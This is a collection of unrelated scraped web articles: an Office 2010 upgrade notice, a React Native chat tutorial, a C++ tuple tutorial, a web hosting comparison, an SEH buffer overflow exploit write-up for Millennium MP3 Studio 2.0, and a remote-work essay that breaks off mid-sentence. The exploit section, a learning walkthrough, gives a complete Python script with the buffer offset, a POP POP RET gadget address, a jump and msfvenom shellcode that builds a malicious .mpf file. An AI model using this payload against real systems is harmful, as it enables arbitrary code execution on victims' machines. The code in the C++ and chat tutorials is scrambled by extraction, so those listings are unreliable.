The popular Microsoft Office 2010 is soon going to reach its end of support. To avoid security risks, it's time to upgrade to a newer version of Office. The good news is that your library can get the cloud-based Microsoft Office 365 for your administrative PCs from Microsoft Academic, or you can get donated on-premises Microsoft Office Standard 2019 from TechSoup. We also have affordable support services for email and data migration and a comprehensive set of training courses called the for your staff and volunteers. Microsoft Digital Skills Center What Does End of Support Mean? Microsoft Office 2010 has been a popular version of the application over the last decade. The unfortunate news is that — on October 13, 2020, to be exact. This means no more technical support, no more security patches, and no more security updates. Though all of your Office 2010 apps will continue to function, using an unsupported version of any software exposes your computer to serious and potentially harmful security risks. support for it ends this fall Microsoft will no longer provide technical support, bug fixes, or security fixes for Office 2010 vulnerabilities that may be subsequently reported or discovered. This includes security updates that help protect your PC from harmful viruses, spyware, and other malicious software. You'll no longer receive Office 2010 software updates from Microsoft Update. You'll no longer receive phone or chat technical support. No further updates to support content will be provided, and most online help content will be retired. Another difficulty you may face is incompatibility with some newer programs and file formats. It's probably a good time to upgrade your version of Microsoft Office. Upgrade Options Microsoft Office 365 is available to public libraries at no cost for its A1 cloud-based version and also steeply discounted for more robust versions, including desktop versions of products . To get started, click . Office 365 is a great option for your administrative PCs. via the Microsoft Academic Channel Get started for free The faculty and staff pricing is what applies to public libraries. Office 365 A1 is the no-cost version. It is a completely free online version of Office with email, video conferencing, and Microsoft Teams. The A1 version includes Outlook, Word, Excel, PowerPoint, and OneNote. Services include Exchange, OneDrive, SharePoint, Yammer, and many more. A3 and A5 versions, available at a discount, also include desktop versions of products, as well as enhanced security and storage functions. Get Office 365 Microsoft Office Standard 2019 is . It is the latest version of the on-premises version of the office suite, and it is a good option for your public access computers. This version of Office includes Word, Excel, PowerPoint, Outlook, OneNote, and Publisher. It is available for a $39 admin fee per license and is available in multiple languages. available to public libraries on a donated basis from TechSoup Get Office Standard 2019 For more information on the differences between Office 2019 and Office 365, check out our article . Microsoft Office 2019 vs. Office 365 TechSoup Support Services No matter what route you take and where you obtained these products, TechSoup has services and resources to help you set up and get the most out of these tools. For Office 2019, TechSoup offers . low-cost installation support The TechSoup services team can provide you with the following services for Office 365: . It can be a complex process to migrate your on-premises email to Outlook and Exchange online. Office 365 has features that help nonprofits dramatically increase their productivity, collaboration, and security. . Email migration help See Joan Tharp's article on how we can help here : Data migration transfers your documents and data from either an on-premises or a cloud datacenter to the Microsoft cloud. TechSoup offers experienced consulting and migration services to help you move to Office 365's SharePoint application, which lets you easily back up, share, and co-edit documents and files internally and externally. Data migration help : The support services team offers phone support for IT admins on configuration, security, email, and Azure — plus monthly reviews, IT planning, and training. Admin support Training Resources TechSoup has a new collection of powerful online courses for your library that combines great skill-building content from experts at Microsoft and TechSoup called the . Microsoft Digital Skills Center The Digital Skills Center features beginner and advanced courses on Word, Excel, and PowerPoint, and also very affordable courses on the new Microsoft Teams app and Power Bl, the powerful data visualization tool. Microsoft applications have long been TechSoup's most popular donated products. Now we bring you the knowledge on how to use them! The courses work well for any version of the product your team may be using. These courses are self-paced and feature contextualized learning with real use cases in bite-sized segments. Your staff and volunteers don't even need to have a TechSoup account to take the courses. Some of the most popular course tracks are listed below, with many actually available for free: — four course levels Microsoft Word — six course levels Excel — three course levels PowerPoint — eight course levels Office 365 Bootcamp — a COVID-19 response course track Pivoting to Remote Work — Collaboration Tools Teams for Nonprofits Discover The Digital Skills Center If your library is still using Office 2010 — or even if not — we hope that you find all these resources for upgrading helpful! Credits Originally published as " Office 2010 Is Retiring, but Here's How Your Library Can Get Free Office 365 " with the Creative Commons Attribution 4.0 International license.

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At Instamobile, we’re building a ton of complex features to save time and energy for React Native developers across the world. One of these complex features is the chat functionality, which is a must have in almost all mobile apps nowadays. In this tutorial, we’ll learn how to add a React Native Chat into any mobile app with only a few lines of code. And yes, we are talking about a fully fledged chat function, that comes integrated with backend (database & storage) and that is real-time. And it can be integrated into any React Native app with no effort! Building a chat feature is extremely complex, even though it might seem trivial at first. Supporting only basic text chat features will make your app look unprofessional and users will be extremely disappointed if they don’t have functions such as sending videos, recording messages, etc. Here’s a list of features that every React Native Chat app should have, and that are considered in all those tutorials that teach you how to build a chat app in 10 minutes: never Photo & Video Messages Audio Messages Sending multiple photos/videos at once Video Player Clickable URLs Full screen photo viewer Typing indicators Seen Status Online Status Group Chats Push Notifications Dark Mode RTL & Localization Blocking users (required by Apple) So no, you can’t build a React Native chat app in 10 minutes, if you start from scratch. The list continues on and on, trust me! We’ve developed our fully fledged chat app over the course of 6 months, and it still doesn’t have all the functionalities we’d want. Fortunately, our code at Instamobile is highly modular, so we made it extremely easy for our customers to integrate the chat functionality into any React Native app in a matter of minutes. And this is applicable to any mobile app, regardless of the backend system they’re using. The magic lives in the component. This component only needs a channel as its input, wrapping two user IDs, and it will enable the fully functional React Native chat feature when presented on the screen. IMChatScreen We are going to present the steps that you need to follow in order to properly display the chat screen between two given users. 1. Link Your App to Your Firebase Account All messages get stored in Firebase Firestore (a database), regardless of your existing backend, which can be of any kind (AWS, MySQL, REST API, GraphQL, etc). You only need two user IDs in order to trigger the chat functionality properly and we’ll show you how to make things work correctly. In addition to the messages, the chat will also store the blocked users in Firestore. This is a functionality that is required by Apple’s guidelines, and you wouldn’t be able to publish your iOS app without it. If you are not familiar with Firebase already, here what you need to do (check out our if you need more details): comprehensive documentation Create a new Firebase account, a new project and add a new app to the project Add dependency to your app react-native-firebase npm install react-native-firebase@ 5.5 .6 iOS Download the file (for iOS) and place it in the main folder (the folder where the Podfile lives in) GoogleService-Info.plist ios/NameOfApp In Xcode, add this new file to the project in the left panel navigator In the AppDelegate.m, add the following code [FIRApp configure]; #import <Firebase.h> // first line of didFinishLaunchingWithOptions method Android Download the file (for Android), and place it in the folder google-services.json android/app Enable Firebase Storage and set the write rules to public Now run your app and make sure everything works fine. 2. Add Core/chat folder into Your React Native App All the code that’s related to chatting lives in the module. As a fun fact, all of our are using this code to enable the chat functionalities. Core/chat app templates Simply copy paste this folder into your folder and you’re done. Additionally, you might want to copy paste and folders as well, if you want to use our own localization library as well as our own icons. src CoreAssets Translations 3. Add a Navigation Path to IMChatScreen he is the component that’s in charge with the React Native chat functionality. IMChatScreen It’s the entry point of every single feature that we listed on our product page . It displays the UI, it hooks up to the backend, it listens for new messages, it displays the photo & video pickers, it manages the typing indicators, etc. So in order to add the chat functionality into your React Native app, you need to make your app able to present this screen. We’re going to assume you are using library to handle screen transitions. So simply add this screen (IMChatScreen) to one of your navigators. react-navigation lives in . So you can import it like this IMChatScreen src/Core/chat import { IMChatScreen } from ; '../Core/chat' Here’s an example of how your route to the IMChatScreen can look like in a stack navigator: HomeStack = createStackNavigator(
      {
        Home: { screen: HomeScreen },
        ChatScreen: { screen: IMChatScreen },
      },
      {
        initialRouteName: ,
        initialRouteParams: {
          appStyles: AppStyles
        }
      },
    ); const 'Home' 4. Display the Chat Screen Now that everything is properly set up, you can go ahead and present a chat screen anywhere in your React Native app, by simply navigating to the route. ChatScreen Here’s how you can simply present a chat screen between two users, with user IDs as unique identifiers for those users: { IMChatScreen } from ;
    ... id1 = ; id2 = ; otherUsers = [
       {
           id: id1 < id2 ? id1 + id2 : id2 + id1,
           firstName: }
    ]; channel = {
        id: id1 + id2,
        participants: otherUsers,
    };
    props.navigation.navigate( , {
        channel,
        appStyles: AppStyles,
    }); import '../Core/chat' const "1234" const "5678" const "Andrew" const 'ChatScreen' That’s it. That’s all you need to present a chat functionality into your own React Native app. Here are a few observations: The code will present a chat between the current user (with id = 1234) and another user (with id = 5678) The channel ID is always the concatenation of the two user IDs, in alphabetical order (so both users will have the exact same channel ID when talking between each other) As you can see, we assumed there’s a “ChatScreen” navigation path already integrated in one of your navigators (stack navigators, bottom navigators, etc.) – so make sure you add this navigation path to your app prior to testing the chat. All the data will be stored in Firebase Firestore, regardless of what other backend you are using. So make sure prior to testing this code. you set up your Firebase account And yes, it works in addition to your existing backend, which can be of any kind (AWS, REST API, WordPress, MySQL, etc) For group chats, the channel ID will simply be the channel ID of the group that you want to present the chat screen for. You can customize the AppStyles as you with, to get the right colors and fonts that match with the UI of your app Reporting & Blocking users will also work right out of the box, regardless of your backend of choice. They will be stored in the “reports” table in Firestore. 5. Test Your Integration You can go ahead and start chatting between two users. Of course, you’ll test that the functionality works properly. You can also go into your and check out the Firestore tables that got created automatically: Firebase Console – this is used for storing all the messages, together with their meta data channels – this is storing the association between chat rooms and users, and it’s extremely important for group chats channel_participations – this table is used for recording all the users that get blocked or reported. reports Conclusion Building a React Native chat from scratch is extremely painful. The features are very complex, performance is extremely critical and hard to get right, and the total development work needed will expand over the course of more than 6 months. Additionally, users are extremely picky nowadays, and have high expectations when it comes to chat rooms, so the amount of features needed for a reasonable chat functionality is also very high. Fortunately, at Instamobile, we’ve built a modular chat functionality, that can be integrated into any React Native app easily. Hopefully this tutorial will help all of our clients to easily add chat room to their apps. Please let us know in the comments if you get stuck or if anything is missing from this React Native chat tutorial. Cheers! Previously published at https://www.instamobile.io/mobile-development/react-native-chat/

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From C++11, is an incredible expansion to , that offers a fixed-size col­lec­tion of het­ero­ge­neous values. Un­for­tu­nately, tu­ples can be somewhat dubious to manage in a conventional fash­ion. But, subsequently released C++ stan­dard in­tro­duced a few fea­tures & helpers that greatly re­duce the nec­es­sary boil­er­plate. So, in this article, I will explain the variadic template in C++ with the help of unsophisticated tuple implementation. And also walks you through a tricky part of tuple i.e. loop through tuple element. In spite of the fact that I have shrouded the variadic template in my prior article i.e. . So, my focus here would be a blend of variadic template & tuple  implementation with more up to date C++ gauges. std::tuple Modern C++ C++ Template: A Quick UpToDate Look Motivation It is often useful to define class/struct/union/function that accepts a variable number and type of arguments. If you have already used C you’ll know that printf function can accept any number of arguments. Such functions are entirely implemented through macros or . And because of that it has several disadvantages like , cannot accept references as arguments, etc. ellipses operator type-safety Variadic Class Template: Implementing Tuple Class So, let’s build our own same as with the help of variadic template. ADT std::tuple The variadic template in C++ usually starts with the general (empty) definition, that also serves as the base-case for template recursion termination in the later specialisation: < ... T> }; template typename { struct Tuple This already allows us to define an empty structure i.e. Tuple<> object;, albeit that isn’t very useful yet. Next comes the recursive case specialisation: < T, ... Rest > T first;
    Tuple<Rest...> rest; Tuple( T& f, Rest& ... r)
        : first(f)
        , rest(r...) {
    }
};

Tuple< >                 t1( ); Tuple< , , >    t2( , , ); template typename typename // Template parameter pack <T, Rest...> { struct Tuple // Class parameter pack // Parameter pack expansion const const bool false // Case 1 int char string 1 'a' "ABC" // Case 2 How Does Variadic Class Template Works? To understand variadic class template, consider use case 2 above i.e. Tuple< , , >   t2( , , ); int char string 1 'a' "ABC" The declaration first matches against the specialization, yielding a structure with int first; and Tuple<char, string> rest; data members. The rest definition again matches with specialization, yielding a structure with char first; and Tuple<string> rest; data members. The rest definition again matches this specialization, creating its own string first; and Tuple<> rest; members. Finally, this last rest matches against the base-case definition, producing an empty structure. You can visualize this as follows: < , , >
-> first
-> < , > rest
    -> first
    -> < > rest
        -> first
        -> <> rest
            -> (empty) Tuple int char string int Tuple char string char Tuple string string Tuple Variadic Function Template: Implementing get<>() Function for Tuple Class So, far we have designed data structure with variable number and type of data members. But still, it isn’t useful as there is no mechanism to retrieve data from our Tuple class. So let’s design one: < idx, < ...> GetHelper<idx, Tuple<Args...>>::get(t);
} template size_t template typename , ... > ( <Args...> & ) { class Tuple typename Args auto get Tuple t return As you can see this get function is templatized on the idx. So usage can be like get<1>(t), similar to . Though, the actual work is done by a static function in a helper class i.e. GetHelper. std::tuple Note also the use of a C++14-style auto return type that makes our lives significantly simpler as otherwise, we would need quite a complicated expression for the return type. So, on to the helper class. This time we will need an empty forward declaration and two specializations. First the empty declaration: < idx, T
        > template size_t typename ; struct GetHelper Now the base-case (when idx==0). In this specialisation, we just return the first member: < T, ... Rest
        > { data.first;
    }
}; template typename typename <0, Tuple<T, Rest...>> { struct GetHelper T static get (Tuple<T, Rest...> &data) return In the recursive case, we decrement idx and invoke the GetHelper for the rest member: < idx, T, ... Rest
        > { GetHelper<idx - , Tuple<Rest...>>::get(data.rest);
    }
}; template size_t typename typename <idx, Tuple<T, Rest...>> { struct GetHelper static auto get (Tuple<T, Rest...> &data) return 1 To work through an example, suppose we have Tuple data and we need get<1>(data). This invokes GetHelper<1, Tuple<T, Rest...>>>::get(data) (the 2nd specialization). Which in turn invokes GetHelper<0, Tuple<T, Rest...>>>::get(data.rest). And finally returns (by the 1st specialization as now idx is 0) data.rest.first. So that’s it! Here is the whole functioning code, with some example use in the main function: < idx, T
        > }; < ... T> }; < T, ... Rest
        > { data.first;
    }
}; < idx, T, ... Rest
        > { GetHelper<idx - , Tuple<Rest...>>::get(data.rest);
    }
}; < T, ... Rest
        > T                   first;
    Tuple<Rest...>      rest;

    Tuple( T &f, Rest &... r)
        : first(f)
        , rest(r...) {
    }
}; < idx, < ...> GetHelper<idx, Tuple<Args...>>::get(t);
} {
    Tuple< , , > t( , , ); << get< >(t) << ; ;
} // Forward Declaration & Base Case ----------------------------------------- template size_t typename { struct GetHelper template typename { struct Tuple // ------------------------------------------------------------------------- // GetHelper --------------------------------------------------------------- template typename typename <0, Tuple<T, Rest...>> { struct GetHelper // Specialization for index 0 T static get (Tuple<T, Rest...> &data) return template size_t typename typename <idx, Tuple<T, Rest...>> { struct GetHelper // GetHelper Implementation static auto get (Tuple<T, Rest...> &data) return 1 // ------------------------------------------------------------------------- // Tuple Implementation ---------------------------------------------------- template typename typename <T, Rest...> { struct Tuple const const // ------------------------------------------------------------------------- // get Implementation ------------------------------------------------------ template size_t template typename , ... > ( <Args...> & ) { class Tuple typename Args auto get Tuple t return // ------------------------------------------------------------------------- int main () int char string 500 'a' "ABC" cout 1 endl return 0 Variadic Template vs Fold Expression There is two way to process C++ parameter pack i.e. 1. Recursion 2. Fold Expression(From C++17) At whatever point conceivable, we should process a parameter pack with fold expression instead of using recursion. Because it has some benefits as: 1. Less code to write 2. Faster code (without optimizations), as you just have a single expression instead of multiple function calls 3. Faster to compile, as you deal with fewer template instantiation Processing a Parameter Pack With Recursion As we have seen earlier, variadic template starts with empty definition i.e. base case for recursion. {} void print () Then the recursive case specialisation: < First, ... Rest > { << first << ;
    print(rest...); } template typename typename // Template parameter pack void print (First first, Rest... rest) // Function parameter pack cout endl // Parameter pack expansion This is now sufficient for us to use the print function with variable number and type of arguments. For example: print( , , ); 500 'a' "ABC" Processing a Parameter Pack With Fold Expression < ... Args> {
    ( ( << args << ), ...);
} template typename void print (Args... args) void cout endl See, no cryptic boilerplate required. Isn’t this solution looks neater? There are total 3 types of folding: Unary fold, Binary fold & Fold over a comma. Here we have done left folding over a comma. You can read more about Fold Expression . here Loop-Through/Iterate Over Tuple Elements in C++ If I give you a task to print the elements of tuple, the first thing that comes to your mind is: < ... Args> { ( &elem : t) << elem << ;
} template typename void print ( ::tuple<Args...> &t) const std for const auto // Error: no begin/end iterator cout endl But, this just can’t work. doesn’t have begin & end iterator. std::tuple OK! So, now you might try raw loop right? < ... Args> { ( i = ; i < ...(Args); ++i) << ::get<i>(t) << ; } template typename void print ( ::tuple<Args...>&   t) const std for int 0 sizeof cout std endl // Error :( , `i` needs to be compile time constant No! you can’t. I know that std::get<> works with a number as . non-type template argument But, that number has to be compile-time constant to make this working. So, there are many solutions & we will go through quite enough ones. C++11: Loop Through Tuple Elements < i, ... Args> { << get<i>(t) << ;
        printer<i + , Args...>::print(t);
    }
}; < ... Args> {}
}; < ... Args> {
    printer< , Args...>::print(t);
}

tuple< , , > t( , , );
print(t); // Template recursion template size_t typename { struct printer static void print ( tuple<Args...> &t) const cout endl 1 // Terminating template specialisation template typename <sizeof...(Args), Args...> { struct printer static void print ( tuple<Args...> &) const template typename void print ( tuple<Args...> &t) const 0 int char string 1 'A' "ABC" // Note: might not work in GCC, I've used clang This isn’t that complicated as it looks, believe me. If you know recursion & template specialisation, it won’t take you more than 30 seconds to figure out what’s going on here. For our example tuple<int, char, string>     t(1, 'A', "ABC");, printer::print() calls template recursion i,e, template<size_t i, typename… Args> struct printer{}; each time with incremented non-type template parameter i. And when i == sizeof…(Args), our recusion stops by calling template specialization i.e. template<typename… Args> struct printer<sizeof…(Args), Args…> { };. C++17: Loop Through Tuple Elements With C++ 17, it’s slightly better because we have Fold Expressions. So, we don’t need recursion anymore. < ... Args> { ::apply([]( &... args) {
        (( << args << ), ...);
    }, t);
} template typename void print ( ::tuple<Args...> &t) const std std const auto cout endl designed as tuple helper that accepts functor or . Though you can do better if wants to dispatch to different implementation according to type, you might use overloaded class as: std::apply lambda expression < Ts... { Ts:: ()...;
}; < f = overloaded {
    []( &a)        { << << a << ; },
    []( &b)       { << << b << ; },
    []( &c)     { << << c << ; },
};

tuple< , , >    t( , , ); ::apply([&]( &... e) { (f(e), ...); }, t); template ... > : class Ts struct overloaded using operator // Deduction guide, google `CTAD for aggregates` for more info template ... > ( ...) -> <Ts...>; class Ts overloaded Ts overloaded // not needed from C++20 auto const int cout "From int: " endl const char cout "From char: " endl const string cout "From string: " endl int char string 1 'A' "ABC" std const auto C++23: Loop Through Tuple Elements < ... Args> { ... ( &elem : t) << elem << ;
} template typename void print ( ::tuple<Args...> &t) const std for const auto cout endl So, from C++23 we might have i.e. for...(). That looks like a loop, though it isn’t. It just stencil out each call with scope as: expansion statement < ... Args> {
    { &elem = get< >(t); << elem << ;
    }
    { &elem = get< >(t); << elem << ;
    }
    { &elem = get< >(t); << elem << ;
    }
} template typename void print ( tuple<Args...> &t) const const auto 0 cout endl const auto 1 cout endl const auto 2 cout endl And it is obvious that there is no break & continue as it isn’t loop. It basically works for every standard container which can access by std::get<>(). For example, a plain array, std::tuple, std::pair, std::array, unexpanded argument packs, constexpr ranges, etc. Closing Words There are still many things missing in our tuple class like , , some operators and helper classes(like ). But I hope now you get the idea of how it can be implemented using the variadic template. By the way, implementing those missing things will be a good start for learning variadic template on your own. copy constructor move constructors std::tuple_size Previously published at http://www.vishalchovatiya.com/variadic-template-cpp-implementing-unsophisticated-tuple/

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Nowadays, almost all the websites that are out there are using just regular web hosting. That seems pretty normal, but in days where cloud hosting companies like Amazon Web Services and Google Cloud are getting very popular, the question that comes in mind is Should we even use regular web hosting anymore or we should turn to the cloud. Just think about it, they’re often much cheaper and have support technologies that regular web hostings don’t. So, should we still use a regular web hosting, as, for all the things in life, it depends? Regular Web Hosting Pros easy setup process supports CMS (Content Management System) like WordPress it’s easy for a beginner to get started because there are a lot of tutorials out there it uses cPanel for it’s UI, which is really easy to use it’s easy to create emails and subdomains really great for websites like blogs and other static websites Cons typically, the cost is higher than on cloud platforms relatively bad support for new programming languages and technologies they aren’t that scalable you are paying for hosting even if no one uses your website isn’t that good for load intensive websites like Netflix, Instagram, Google, etc. Cloud Platforms Pros they scale automatically you don’t need to ever worry about servers they support all the new technologies they are great for applications that require a heavy load they are cheaper and give a free trial, which can be enough for a website that gets up to 100,000 views per month supports WordPress you only pay when someone actually uses your website Cons a little more complicated setup process it’s harder for beginners creating emails and subdomains isn’t that easy you need to know something about coding to use it it primarily built for developers, not for regular people So, Should You Still Use Regular Web Hosting In my opinion, if you need to host a small website like a blog, or any website that mostly informational without much functionality, regular web hosting like is better. Plus, BlueHost is one of few hosting companies that support all the new technologies, unlike others who still rely on older ones. BlueHost On the other hand, if you are planning on creating a website or rather to say a web app, that is going to have more complex functionalities than a sign-up form, you should probably use Cloud Platform like AWS (Amazon Web Services), Google Cloud, or any other that suits your needs. Think of websites like Spotify, Netflix, Facebook, etc., they are all using AWS because they scale automatically and can handle that heavy load. Conclusion So, in the nutshell, you should still use regular web hosting as long as you plan to host a blog or any website that is informational, but if plan on hosting a website that requires heavy load and has more functionalities like Netflix, Facebook, Spotify, etc., you should use cloud platforms. I hope that I have helped you with this article. If you liked this article, make sure to share it with your friends. Also, if you think that I have missed something or you have any other questions, be sure to post your questions in the comments or send me an email at , I will be happy to answer them. info@codequickie.com

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Structured Exception Handler (SEH) based overflows work in many different ways. In this tutorial, we’ll be using a text file to inject the malicious payload into the vulnerable field. ( . It covers my experience and the challenges I encountered while replicating this exploit: in Fu11Shade’s “Windows exploitation pathway” sequence. Unless otherwise stated, quoted text is from Fu11Shade’s blog post. To configure your system to follow along with this tutorial complete: ) This blog post is not original https://fullpwnops.com/local-seh-overflow/ https://fullpwnops.com/immunity-windbg-mona/ In this tutorial we’ll be exploiting an overflow that occurs when Millennium MP3 Studio 2.0 (install here: ) attempts to open files with certain extensions. I completed this tutorial on a Windows 7 64-bit virtual machine. https://www.exploit-db.com/exploits/10240 What the heck is a “structured exception handler?” Put rather crudely, a SEH is a piece of code designed to handle certain errors that may occur at runtime. Exception handlers can address both hardware and software faults. Some common handlers deal with issues like failing to free memory blocks, insufficient memory, attempting to access a restricted memory location, and etc. If an exception arises and none of the handlers can resolve the issue, the program will likely terminate or produce some kind of unexpected output. There are two SEH mechanisms: 1. Exception handlers: blocks which can respond to or dismiss the exception 2. Termination handlers: blocks which are always called, whether an exception causes termination or not When an exception is thrown that a handler recognizes, the handler can either: 1. Fail to recognize the exception and pass control to other handlers 2. Recognize the exception but dismiss it 3. Recognize the exception and handle it Let’s run through how this SEH exploit will work — much of this is to be explained: 1. We attach the Millennium process to Immunity so we can observe the buffer overflow and the effects of the vulnerability precisely. 2. When our malicious file is opened, the application will attempt to parse the data. 3. Fu11Shade tells us that there’s a buffer overflow when this application’s parsing program operates on files with a “.mpf” extension. 4. So, we need to create a .mpf file that overflows this buffer. 5. When an exception is raised, control will jump to the first SEH handler. 6. The buffer overflow will have set the address of the SEH handler to be the address of the POP POP RET sequence. 7. This will move ESP down the stack twice and return it to EIP. 8. Presumably, we’ve overwritten this address and EIP now points to a JMP instruction which moves execution to the start of the shellcode. Let’s get started: First, we want to attach the Immunity Debugger to the running Millennium MP3 Studio process: Next, we want to generate the .mpf file for our exploit. We can do this using a python script: In this script we generate a payload, open a file named “evil.mpf”, and write the payloads the payload to the file object returned by open() (payload_execution). After running the script we can see the malicious file. Now let’s try to open evil.mpf from Millenium Studio MP3 while its attached to Immunity: We can see the EAX and ECX registers being overwritten with A’s. Furthermore, we can see a “CORRUPT ENTRY” in our SEH chain: Finally, we can also see the overflow in Immunity’s logs. Now that we’ve confirmed there’s a buffer overflow vulnerability, we need to calculate the buffer size so we can generate precise shellcode designed to overwrite SEH handlers. We can use Metasploit’s pattern create tool to generate a cyclic pattern that will help you identify where data starts being overwritten: I had issues installing the Metasploit framework on my Windows virtual machine (Metasploit community is no longer offered) and opted to use the Metaploit framework that comes built-in with Kali Linux. Note: Now, we should attach the Millennium process to Immunity and open our new malicious file: We can see registers being overwritten by our pattern. Now, lets run the “findmsp” command. Findmsp will “find all instances or certain references to a cyclic pattern in memory” (corelan.be). If you inject a cyclic pattern and crash your application you can run findmsp to obtain the following information (corelan.be): “”” 1. Locations where the cyclic pattern can be found and how long that pattern is. 2. Registers that are overwritten with a 4-byte cyclic pattern and the offset required to overwrite the register. 3. Registers that point into a cyclic pattern, the offset, and the remaining size of the pattern. 4. SEH records overwritten with 4-bytes of a cyclic, offset, and size. 5. Pointers on the current thread stack, into a cyclic pattern (offset + size). 6. Parts of a cyclic pattern on the stack, the offset from the beginning of the pattern and the size of the pattern. “”” We can see a SEH handler being overwritten: In order to exploit this “we need to obtain a POP POP RET gadget.” Using we can accomplish this using mona by running “!mona seh -n” in Immunity. This command will search through the program for the needed sequence which will “return execution flow back to the structured exception handler.” At first I didn’t know what a POP POP RET gadget was or why we needed it — so let’s explore that a bit. really According to dkalemis.wordpress.com, exploit writers often search for this sequence “because it is an essential part of their exploit.” Apparently, “POP POP RET is the sequence of instructions needed in order to create SEH exploits.” Notably, the registers to which the popped values go is not of critical importance to whether the exploits succeed. What matters most is that ESP is moved up the address space twice (8 bytes — each position is 4-bytes on a 32-bit architecture), and that a RET instruction is executed. Therefore, either a “POP EAX, POP EBX, RET, or POP ECX, POP ECX, RET, or POP EDX, POP EAX, RET, (and so on) will do.” Each time a RET occurs, “the contents of the address ESP points at are put in EIP and executed,” (dkalemis). So, the attacker knows that the address of ESP + 8 is going to be put into EIP and executed. But why is it important that ESP be moved down the stack twice? Why can’t we just overwrite the SEH handler instructions with shellcode since control jumps there anyways when an exception is raised? Because there are SafeSEH safeguards that protect against this. According to Dkalemis, SEH’s are “a linked list of records with each record corresponding to an exception handler.” The first field of the record is a pointer to the next record and the second field is the address of the exception handler itself. SEH exploits are based on the fact that the attacker can “alter a portion of the stack and put values there that can misdirect the execution of the SEH handler after an exception is raised,” (dkalemis). So, let’s run through how a POP POP RET gadget would work from the top: 1. After a buffer overflow is raise execution jumps to the address pointed to by the first SEH handler. 2. The buffer overflow set the address of the SEH handler to be the address of the POP POP RET sequence. 3. So now EIP will be set to the value of ESP + 8 bytes which will be a jmp instruction to the start of the shellcode. Moving back to the tutorial now. Our final python script, which includes the POP POP RET gadget, will look like this: from struct import * malicious_file = "evil.mpf" # Log data, item 36 # Address=0BADF00D # Message=    SEH record (nseh field) at 0x0018f948 overwritten with normal pattern : 0x31684630 (offset 4112), followed by 1712 bytes of cyclic data after the handler seh = pack ('<I',  0x10014E98) # POP POP RET from xaudio.dll - using !mona seh -n nseh = pack ('<I', 0x909032EB) # Short jump over the POPPOPRET filled NSEH # shellcode payload that is generated from msfvenom shellcode = ( "\xdb\xc8\xba\x50\xf4\xd9\x51\xd9\x74\x24\xf4\x5e\x29\xc9\xb1" "\x31\x31\x56\x18\x83\xee\xfc\x03\x56\x44\x16\x2c\xad\x8c\x54" "\xcf\x4e\x4c\x39\x59\xab\x7d\x79\x3d\xbf\x2d\x49\x35\xed\xc1" "\x22\x1b\x06\x52\x46\xb4\x29\xd3\xed\xe2\x04\xe4\x5e\xd6\x07" "\x66\x9d\x0b\xe8\x57\x6e\x5e\xe9\x90\x93\x93\xbb\x49\xdf\x06" "\x2c\xfe\x95\x9a\xc7\x4c\x3b\x9b\x34\x04\x3a\x8a\xea\x1f\x65" "\x0c\x0c\xcc\x1d\x05\x16\x11\x1b\xdf\xad\xe1\xd7\xde\x67\x38" "\x17\x4c\x46\xf5\xea\x8c\x8e\x31\x15\xfb\xe6\x42\xa8\xfc\x3c" "\x39\x76\x88\xa6\x99\xfd\x2a\x03\x18\xd1\xad\xc0\x16\x9e\xba" "\x8f\x3a\x21\x6e\xa4\x46\xaa\x91\x6b\xcf\xe8\xb5\xaf\x94\xab" "\xd4\xf6\x70\x1d\xe8\xe9\xdb\xc2\x4c\x61\xf1\x17\xfd\x28\x9f" "\xe6\x73\x57\xed\xe9\x8b\x58\x41\x82\xba\xd3\x0e\xd5\x42\x36" "\x6b\x29\x09\x1b\xdd\xa2\xd4\xc9\x5c\xaf\xe6\x27\xa2\xd6\x64" "\xc2\x5a\x2d\x74\xa7\x5f\x69\x32\x5b\x2d\xe2\xd7\x5b\x82\x03" "\xf2\x3f\x45\x90\x9e\x91\xe0\x10\x04\xee") payload = "A" * 4112 # after calculating the buffer size that triggers this specific vulnerability payload += nseh payload += seh payload += "\x90" * 100 payload += shellcode # Log data, item 24 # Address=10014E98 # Message=  0x10014e98 : pop esi # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (c:\mp3-millennium\xaudio.dllpayload_execution = open(malicious_file, 'w+') try: print("[x] Opening the malicious file") payload_execution = open(malicious_file, "w+") print("[x] Creating a file named", malicious_file) payload_execution.write(payload) print("[x] Adding payload to the malicious file") payload_execution.close() print("[x] Sending junk") print("[x] Sending POP POP RET via controlled SEH handler") print("[x] Jumping to shellcode") except: print("[!] Error creating the exploit") Notice that our payload now also contains a NOP sled: Now, when we run the final version of the application we can get a calculator to pop up:

Flow

Chain

Community Is

How I Exploited Millennium MP3 Studio 2.0 with Shellcode Payload

From an epidemic, it was advancing towards becoming a pandemic. We heard a 10, then 20 and before we knew, it had already hit 1000! Quarantine was turning into a buzzword and countries were gradually going into lockdowns. COVID-19 was gripping the globe. For an early-stage startup like us, the challenge was mountainous. We couldn’t risk the lives of our employees. So, continuing to run the office during the time was out of the question. Simultaneously, all the hard work that we put to gain the trust of our customers would be at stake if we stopped functioning altogether. Now, there was one viable option in front of us; to shift to a remote working model. It meant coordinating an entire team working from home and that would be no breezy task. We knew it, very well that too. Umpteen questions stood before us. 'How to go about work collaboration?' 'How do we get notified of work status updates?' 'How do we exchange ideas?' ‘Hows’, ‘What’s’ and ‘Whys’ followed but we took the plunge whatsoever. Now, two months down the line, we still work remotely as a team. And how are we faring? Like a well-oiled machine, I would say! There’s no better way to put it! We are productive than ever now and this news is a ray of hope for all of us during such a difficult time. I will not shy away from saying that this is all a result of quick but proper planning and execution which wouldn’t have been possible without the cooperation of our employees. How did we Build a Robust Remote Team? We have never functioned as a remote team. We ideated a lot in-person and as mentioned earlier, the recent course of events had taken us by surprise. Yet, we didn't quit. We huddled up, jotted down the ways in which we functioned in our office and contemplated on moving it to an online version. Finally, we did shift almost all the functions to the virtual version. We know this unprecedented crisis has put many companies in a difficult situation. Remote working has not been very friendly with certain organizations and has put both employers and employees in a fix. At this juncture, we would like to share how we overcame the tests of remote team building so that it inspires and motivates displaced teams to productively work from home. The following are the initiatives that helped us be much more productive in our remote work endeavors. 1. Virtual Check-in with #daily Our office space has a biometric attendance system. All of us had become very much accustomed to scanning our finger to enter the office space. Now that was our first concern. We wanted an attendance system and also wanted to ensure that employees do not burn out from continuous work. We had to establish a check-in and check-out mechanism so that our employees could clearly demarcate their time for work and personal requirements. And indeed we did. We immediately came up with a channel, #daily in Slack. The whole team would start off their day by greeting one another and sign off the day in the same manner. Moreover, we encouraged the team to greet each other in different cultural languages, emojis, and even funny GIFs to make the day look less habitual and more interesting. Gradually, the channel became more than an attendance system, it became the virtual ground for meeting our family-like team. Rather than making it a channel for 